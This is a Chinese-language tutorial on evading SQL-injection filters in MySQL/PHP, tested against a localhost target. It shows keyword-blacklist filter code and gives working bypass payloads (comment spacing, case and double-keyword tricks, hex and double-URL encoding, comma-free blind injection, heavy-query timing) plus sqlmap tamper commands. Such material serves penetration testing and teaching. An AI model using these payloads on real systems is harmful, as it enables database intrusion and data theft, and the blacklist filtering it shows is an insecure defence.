目录
过滤了空格
注释符/**/绕过
内联注释绕过
区分大小写过滤了SQL关键词
大小写绕过
不区分大小写过滤了SQL关键词
双拼绕过
爆破SQL词查看是否有关键词漏过滤了
等价函数绕过
过滤了引号
16进制编码绕过
ASCII编码绕过
URL编码绕过(有条件)
过滤了逗号
过滤了比较符< >
过滤了 or and xor not
过滤了注释符 #
过滤了&#61;
过滤了延时函数
以下测试环境为&#xff1a;MySQL 5.7.26 PHP 5.2.17
在实际的项目开发中&#xff0c;程序猿一般都会使用函数过滤一些字符&#xff0c;以达到防止SQL注入。譬如&#xff0c;下面的php代码使用 preg_replace函数过滤了一些字符
preg_replace(&#39;A&#39; , &#39;B&#39; , C) &#xff1a;执行一个正则表达式的搜索和替换&#xff0c;这个的意思是搜索C中符合A的部分&#xff0c;然后用B来代替。
有关这个函数更多的详情&#xff1a;preg_replace函数详解
如果只过滤了空格&#xff0c;没有过滤 /* &#xff0c;那么我们可以利用 /**/ 来绕过空格过滤
http://127.0.0.1/index.php?id&#61;1/**/order/**/by/**/1
如果直接使用 sqlmap 数据&#xff0c;会提示
这时候我们可以使用注释绕过&#xff0c;在Sqlmap中&#xff0c;对于MySQL数据库注释绕过空格的脚本有&#xff1a;space2comment.py
Sqlmap使用命令: --tamper&#61;space2comment.py
python2 sqlmap.py -u http://127.0.0.1/index.php?id&#61;1 --batch --dbs --tamper&#61;space2comment.py
当MySQL数据库版本大于等于5.55.55时&#xff0c;可以使用内联注释&#xff08;/!**/&#xff09;。
只要SQL语句在/*! */ 之间&#xff0c;就等价/*!union*/&#61;union
/*!select*/&#61;select
/*! select * from xxx where id&#61;1 */
Sqlmap中关于内联注释的脚本&#xff1a;versionedmorekeywords.py 和 halfversionedmorekeywords.py
function blacklist($id)
{ $id &#61; preg_replace(&#39;/[\s]/&#39;,"",$id); //过滤 空格 %20 $id &#61; preg_replace(&#39;/or/&#39;,"",$id); //过滤 or $id &#61; preg_replace(&#39;/and/&#39;,"",$id); //过滤 and $id &#61; preg_replace(&#39;/union/&#39;,"",$id); //过滤 union$id &#61; preg_replace(&#39;/by/&#39;,"",$id); //过滤 by $id &#61; preg_replace(&#39;/select/&#39;,"",$id); //过滤 select $id &#61; preg_replace(&#39;/from/&#39;,"",$id); //过滤 from$id &#61; preg_replace(&#39;/floor/&#39;,"",$id); //过滤 floor$id &#61; preg_replace(&#39;/concat/&#39;,"",$id); //过滤 concat$id &#61; preg_replace(&#39;/count/&#39;,"",$id); //过滤 count$id &#61; preg_replace(&#39;/rand/&#39;,"",$id); //过滤 rand$id &#61; preg_replace(&#39;/group by/&#39;,"",$id); //过滤 group by$id &#61; preg_replace(&#39;/substr/&#39;,"",$id); //过滤 substr$id &#61; preg_replace(&#39;/ascii/&#39;,"",$id); //过滤 ascii$id &#61; preg_replace(&#39;/mid/&#39;,"",$id); //过滤 mid$id &#61; preg_replace(&#39;/like/&#39;,"",$id); //过滤 like$id &#61; preg_replace(&#39;/sleep/&#39;,"",$id); //过滤 sleep$id &#61; preg_replace(&#39;/when/&#39;,"",$id); //过滤 when$id &#61; preg_replace(&#39;/order/&#39;,"",$id); //过滤 order return $id;
}
由于先匹配到了or&#xff0c;所以把order中的or去除了 &#xff0c;并且把by也给去除了
由于这里过滤并没有区分大小写&#xff0c;所以这里我们可以大小写绕过
这个在 sqlmap 中是可以直接跑出来的&#xff0c;因为sqlmap的payload中的SQL关键字默认都是大写的。而这里只过滤了小写的。sqlmap 中也有专门的随机大小写的绕过脚本 randomcase.py &#xff0c;该脚本针对所有类型数据库都可用。
对于过滤SQL关键词绕过的思路
function blacklist($id)
{ $id &#61; preg_replace(&#39;/[\s]/&#39;,"",$id); //过滤 空格 %20 $id &#61; preg_replace(&#39;/or/i&#39;,"",$id); //过滤 or $id &#61; preg_replace(&#39;/and/i&#39;,"",$id); //过滤 and $id &#61; preg_replace(&#39;/union/i&#39;,"",$id); //过滤 union$id &#61; preg_replace(&#39;/by/i&#39;,"",$id); //过滤 by $id &#61; preg_replace(&#39;/select/i&#39;,"",$id); //过滤 select $id &#61; preg_replace(&#39;/from/i&#39;,"",$id); //过滤 from$id &#61; preg_replace(&#39;/floor/i&#39;,"",$id); //过滤 floor$id &#61; preg_replace(&#39;/count/i&#39;,"",$id); //过滤 count$id &#61; preg_replace(&#39;/rand/i&#39;,"",$id); //过滤 rand$id &#61; preg_replace(&#39;/group by/i&#39;,"",$id); //过滤 group by$id &#61; preg_replace(&#39;/substr/i&#39;,"",$id); //过滤 substr$id &#61; preg_replace(&#39;/ascii/i&#39;,"",$id); //过滤 ascii$id &#61; preg_replace(&#39;/mid/i&#39;,"",$id); //过滤 mid$id &#61; preg_replace(&#39;/like/i&#39;,"",$id); //过滤 like$id &#61; preg_replace(&#39;/sleep/i&#39;,"",$id); //过滤 sleep$id &#61; preg_replace(&#39;/when/i&#39;,"",$id); //过滤 when$id &#61; preg_replace(&#39;/order/i&#39;,"",$id); //过滤 order return $id;
}
对于不区分大小写过滤SQL关键词&#xff0c;无论你大小写混合都会被过滤掉。
可以尝试双拼绕过
sqlmap 中双拼绕过的脚本 nonrecursivereplacement.py&#xff0c;该脚本针对所有类型数据库都可用。
这种对于不区分大小写过滤了关键字&#xff0c;这样&#xff0c;我们首先需要判断过滤了哪些关键字&#xff0c;漏掉了哪些关键字。这个可以使用SQL关键词来进行爆破&#xff0c;看看哪些关键词没有被过滤&#xff0c;然后再看这些关键字可以利用哪些注入方式。
对于这里&#xff0c;只能一个一个看返回结果&#xff0c;看哪些关键词没有被过滤。
如果是那种只要请求包中有过滤的关键词&#xff0c;则会返回特殊的响应的网站&#xff0c;这样查看响应代码就可以一目了然的知道哪些关键词没有被过滤。
通过对过滤关键词的爆破&#xff0c;我们发现 extractvalue 、updatexml 和 concat 都没有被过滤。那么&#xff0c;我们就可以利用 ExtractValue 报错注入或者 UpdateXML 报错注入。这里的and我们可以用&&来替换&#xff0c;注意&#xff0c;在URL中&#xff0c;我们需要输入的是&&的URL编码&#xff1a;%26%26
extractvalue报错注入
updatexml报错注入
例如&#xff0c;substr 、substring 、mid 都过滤了的话&#xff0c;可以考虑使用 left()&#xff1b;过滤了sleep 可以用 benchmark() 替换&#xff1b;过滤了group_concat 可以使用 concat_ws() 。
使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中&#xff0c;比如
select * from test where username&#61;&#39;admin&#39;;
select * from test where username&#61;"admin";
当引号被过滤了的话&#xff0c; &#39;admin&#39; 或者 "admin" 就没法用了&#xff0c;我们可以用 admin 的16进制 0x61646d696e 代替。
select*from users where username&#61;0x61646d696e;
注&#xff1a;中文无法使用16进制编码绕过。
admin的各个字符的ascii值为&#xff1a;97-100-109-105-110 。所以我们可以使用concat(char(97),char(100),char(109),char(105),char(110)) 来代替admin
针对网上说的URL编码绕过&#xff0c;这里有一个前提就是&#xff0c;后端在处理接收的参数时对该参数进行了URL解码&#xff0c;并且该URL解码是在过滤函数之后才可以。如下&#xff1a;
$username&#61;$_GET[&#39;username&#39;];
$username&#61;blacklist($username); #过滤函数
$username&#61;urldecode($username); #URL解码
当我们直接使用 "admin" 的时候&#xff0c;过滤函数把admin给过滤掉了
于是我们可以使用 " 的URL编码的URL编码&#xff0c;也就是 %2522
在Sqlmap中&#xff0c;对payload进行URL编码的脚本是&#xff1a;charencode.py(URL编码) 、chardoubleencode.py(两次URL编码)
在使用盲注的时候&#xff0c;会使用到 substr 、substring() 、mid() 、limit 等函数。这些函数都需要用到逗号。如果只是过滤了逗号&#xff0c;则对于substr、substring() 和 mid() 这两个函数可以使用from for的方式来绕过。对于limit &#xff0c;可以用 offset 绕过。substr、substring、mid三个函数的功能用法均一致。
// substr() 逗号绕过
select * from test where id&#61;1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id&#61;1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;// substring() 逗号绕过
select * from test where id&#61;1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id&#61;1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;// mid() 逗号绕过
select * from test where id&#61;1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select * from test where id&#61;1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;// limit 逗号绕过
select * from test where id&#61;1 limit 1,2;
select * from test where id&#61;1 limit 2 offset 1;
在使用盲注的时候&#xff0c;会用到二分法来比较操作符来进行操作。如果过滤了比较操作符&#xff0c;那么就需要使用到 greatest()和lease&#xff08;&#xff09;来进行绕过。greatest()返回最大值&#xff0c;least()返回最小值。
greatest(n1,n2,n3.....)返回输入参数的最大值&#xff1b;
least(n1,n2,n3....)返回输入参数的最小值
select * from users where id&#61;1 and ascii(substring(database(),0,1))>64;
select * from users where id&#61;1 and greatest(ascii(substring(database(),0,1)),64)>64;select * from users where id&#61;1 and ascii(substring(database(),0,1))<64;
select * from users where id&#61;1 and least(ascii(substring(database(),0,1)),64)<64;
在Sqlmap中&#xff0c;用greatest代替大于号的脚本是&#xff1a;greatest.py &#xff0c;该脚本只针对于MySQL。
and用 && 代替 &#xff1b;or用 || 代替 &#xff1b; xor用 | 代替 &#xff1b; not用 ! 代替 &#xff1b;
select * from users where id&#61;1 and 1&#61;2;
select * from users where id&#61;1 && 1&#61;2&#xff1b;select * from users where id&#61;1 or 1&#61;2;
select * from users where id&#61;1 || 1&#61;2;
如果过滤了#&#xff0c;则可以利用 ||&#39; 来绕过。但是这个只限于闭合后面是单引号这种情形&#xff01;
没过滤之前
过滤之后
绕过之后
如果是数字型注入&#xff0c;这种方法就不奏效&#xff01;
使用 like、rlike、regexp
如果是判断是否等于&#xff0c;可以转换为是否大于小于&#xff0c;于是可以用 > < 来绕
在Sqlmap中&#xff0c;用like代替&#61;号的脚本是&#xff1a;equaltolike.py &#xff0c;该脚本只针对于MySQL。
过滤目标网站过滤了延时函数如Sleep()&#xff0c;那么我们就必须得想其他办法使其达到延时的效果。这里我们绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积)&#xff0c;由于大负荷查询需要计算大量的数据&#xff0c;所以执行语句就会有延时的效果。
在MySQL数据库中&#xff0c;都会有一个默认的information_schema数据库。这个数据库中的tables表是整个MySQL数据库表名的汇总。columns表是整个MySQL数据库列的汇总。所以我们就可以利用information_schema.tables和information_schema.columns来进行笛卡尔算积&#xff0c;造成大负荷查询&#xff0c;以至于达到延时的效果。
我们的Payload如下&#xff0c;其中columns和tables这个字段可以互换&#xff0c;我们也可以在B后面继续加C、D等等
select*from users where id&#61;1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B);
配合查询语句一起&#xff0c;如果要查询的结果为真&#xff0c;则会造成延时并显示数据。如果要查询的结果为假&#xff0c;则不会产生延时并且不会显示数据
select*from users where id&#61;1 and (ascii(substr(database(),1,1))>100) and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B);